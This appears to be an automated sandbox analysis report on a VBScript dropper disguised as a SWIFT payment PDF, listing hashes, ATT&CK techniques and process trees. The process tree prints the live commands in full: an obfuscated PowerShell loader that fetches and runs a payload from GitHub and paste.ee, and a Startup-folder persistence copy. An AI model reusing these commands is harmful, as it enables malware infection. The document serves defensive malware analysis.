df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952

General

Target

SWIFT 103 202406111301435660 110624-pdf.vbs
Size

489KB
MD5

b4ed8d97bb9132e15502eb005580d3e1
SHA1

eb64b5bfbb04979d46b7f906394caadbe96e5c4f
SHA256

df610fe1800c5c643599d46f147e0e0623b5523e54e3b0795f2e4e2be88ba952
SHA512

d6446d9a7120f2460216c24ee92045d3a435d8987f38375bbae41a66022a03147b40b42174a838be0b73019147fe83e30708267cbc83f44199895a486f746e85
SSDEEP

12288:+IM9DK7pKt0qbfzQ0mfRygWqa8kPDXwlvX+LHqDDuu++MZu+Df2OW6:+ImrsHflxw5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2160	powershell.exe
6	2160	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2232	powershell.exe
3000	powershell.exe
2160	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wernerite.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wernerite.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3052	cmd.exe
2380	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2380	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2232	powershell.exe
3000	powershell.exe
2160	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 3052	2096	WScript.exe	31
PID 2096 wrote to memory of 3052	2096	WScript.exe	31
PID 2096 wrote to memory of 3052	2096	WScript.exe	31
PID 3052 wrote to memory of 2380	3052	cmd.exe	33
PID 3052 wrote to memory of 2380	3052	cmd.exe	33
PID 3052 wrote to memory of 2380	3052	cmd.exe	33
PID 3052 wrote to memory of 2232	3052	cmd.exe	34
PID 3052 wrote to memory of 2232	3052	cmd.exe	34
PID 3052 wrote to memory of 2232	3052	cmd.exe	34
PID 2096 wrote to memory of 3000	2096	WScript.exe	35
PID 2096 wrote to memory of 3000	2096	WScript.exe	35
PID 2096 wrote to memory of 3000	2096	WScript.exe	35
PID 3000 wrote to memory of 2160	3000	powershell.exe	37
PID 3000 wrote to memory of 2160	3000	powershell.exe	37
PID 3000 wrote to memory of 2160	3000	powershell.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202406111301435660 110624-pdf.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202406111301435660 110624-pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etirenrew.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\SWIFT 103 202406111301435660 110624-pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.etirenrew.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFSaWFiTGUgJypNZFIqJykubmFtZVszLDExLDJdLUpPaW4nJykgKCAoJ3UnKycwRHUnKydybCcrJyA9IEonKydodWh0dHBzJysnOi8nKycvcmEnKyd3LmdpJysndGh1YicrJ3VzZScrJ3Jjb250ZW50JysnLicrJ2NvJysnbS9Ob0RldGVjdE8nKyduLycrJ05vRGV0ZScrJ2MnKyd0T24vJysncmVmJysncycrJy9oJysnZWEnKydkcy9tYWluJysnLycrJ0RldGFoTm8nKyd0aC1WLnR4JysndEonKydodTsgdTBEYicrJ2FzZTY0Q29udGUnKydudCA9ICcrJyhOZXctT2JqZScrJ2N0IFN5cycrJ3RlbS5OZXQuV2ViJysnQ2xpJysnZScrJ250KScrJy5Eb3dubG9hZFN0JysncicrJ2luZyh1MEQnKyd1cmwpOyB1MCcrJ0RiaScrJ25hJysncicrJ3lDb250ZW50JysnID0gW1N5cycrJ3QnKydlJysnbS4nKydDbycrJ24nKyd2JysnZScrJ3InKyd0XScrJzo6RicrJ3JvbUJhc2U2NFN0cmknKyduZycrJyh1MERiYXNlJysnNjRDb250ZScrJ250KTsgJysndScrJzBEYXNzJysnZW1ibHknKycgPSBbUmVmbCcrJ2VjJysndGlvbi5BJysnc3NlbWInKydsJysneV0nKyc6OkwnKydvYScrJ2QnKycoJysndTAnKydEYicrJ2luJysnYScrJ3J5QycrJ29udCcrJ2VudCknKyc7IFtkbmxpYi5JJysnTycrJy5IbycrJ21lXTo6VkEnKydJJysnKGQ2ZzAnKycvJysnTycrJ1lVJysnbFgvZC9lZScrJy5ldHNhcC8vOnNwJysndHRoZCcrJzYnKydnLCBkJysnNmdkZXNhJysndCcrJ2l2JysnYScrJ2RvZDZnJysnLCBkJysnNmcnKydkZScrJ3NhdCcrJ2l2JysnYWRvJysnZDYnKydnLCAnKydkNmdkZXMnKydhdGl2YWRvZDZnJysnLCBkJysnNicrJ2dBZGRJJysnbicrJ1ByJysnb2NlcycrJ3MzMicrJ2Q2ZywgZDYnKydnZDZnJysnLGQnKyc2Z2Q2JysnZyknKS5yRXBsQUNlKCd1MEQnLCckJykuckVwbEFDZSgoW2NIYVJdNzQrW2NIYVJdMTA0K1tjSGFSXTExNyksW1NUckluZ11bY0hhUl0zOSkuckVwbEFDZSgnZDZnJyxbU1RySW5nXVtjSGFSXTM0KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vARiabLe '*MdR*').name[3,11,2]-JOin'') ( ('u'+'0Du'+'rl'+' = J'+'huhttps'+':/'+'/ra'+'w.gi'+'thub'+'use'+'rcontent'+'.'+'co'+'m/NoDetectO'+'n/'+'NoDete'+'c'+'tOn/'+'ref'+'s'+'/h'+'ea'+'ds/main'+'/'+'DetahNo'+'th-V.tx'+'tJ'+'hu; u0Db'+'ase64Conte'+'nt = '+'(New-Obje'+'ct Sys'+'tem.Net.Web'+'Cli'+'e'+'nt)'+'.DownloadSt'+'r'+'ing(u0D'+'url); u0'+'Dbi'+'na'+'r'+'yContent'+' = [Sys'+'t'+'e'+'m.'+'Co'+'n'+'v'+'e'+'r'+'t]'+'::F'+'romBase64Stri'+'ng'+'(u0Dbase'+'64Conte'+'nt); '+'u'+'0Dass'+'embly'+' = [Refl'+'ec'+'tion.A'+'ssemb'+'l'+'y]'+'::L'+'oa'+'d'+'('+'u0'+'Db'+'in'+'a'+'ryC'+'ont'+'ent)'+'; [dnlib.I'+'O'+'.Ho'+'me]::VA'+'I'+'(d6g0'+'/'+'O'+'YU'+'lX/d/ee'+'.etsap//:sp'+'tthd'+'6'+'g, d'+'6gdesa'+'t'+'iv'+'a'+'dod6g'+', d'+'6g'+'de'+'sat'+'iv'+'ado'+'d6'+'g, '+'d6gdes'+'ativadod6g'+', d'+'6'+'gAddI'+'n'+'Pr'+'oces'+'s32'+'d6g, d6'+'gd6g'+',d'+'6gd6'+'g)').rEplACe('u0D','$').rEplACe(([cHaR]74+[cHaR]104+[cHaR]117),[STrIng][cHaR]39).rEplACe('d6g',[STrIng][cHaR]34))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1GZXHMQ7DEY5U3OEOWNZ.temp

Filesize
7KB

MD5
c3fdfacb3704591a2f3f88fea592adc2

SHA1
ba59dbdcfff495c72e8d30fe597250ba5ca4455e

SHA256
18c37bb155ecd530bf7a4882b79b0f11c403e0863a7651b1ed2bfb5d7a38bab1

SHA512
69a763e0c4980c2a02a1a18c3b386820d6c9e694887168ded1361aef0626d1e1201e11ae8ac3998dc2067cd53398f90978fc935e7bdabcc7f0b328f3f0ada29a

Download Submit
memory/2232-9-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-5-0x000007FEF62DE000-0x000007FEF62DF000-memory.dmp

Filesize
4KB

Download
memory/2232-11-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-10-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-8-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2232-12-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-13-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-7-0x000007FEF6020000-0x000007FEF69BD000-memory.dmp

Filesize
9.6MB

Download
memory/2232-6-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/3000-20-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/3000-19-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download

Analysis

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